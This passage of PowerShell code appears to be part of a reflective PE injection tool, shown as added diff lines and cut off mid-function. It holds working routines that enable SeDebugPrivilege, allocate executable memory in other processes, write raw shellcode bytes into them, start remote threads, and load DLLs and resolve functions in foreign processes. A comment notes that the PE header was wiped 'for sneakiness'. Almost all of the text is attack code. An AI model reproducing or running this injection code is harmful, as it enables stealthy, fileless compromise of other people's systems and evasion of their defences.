$AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = 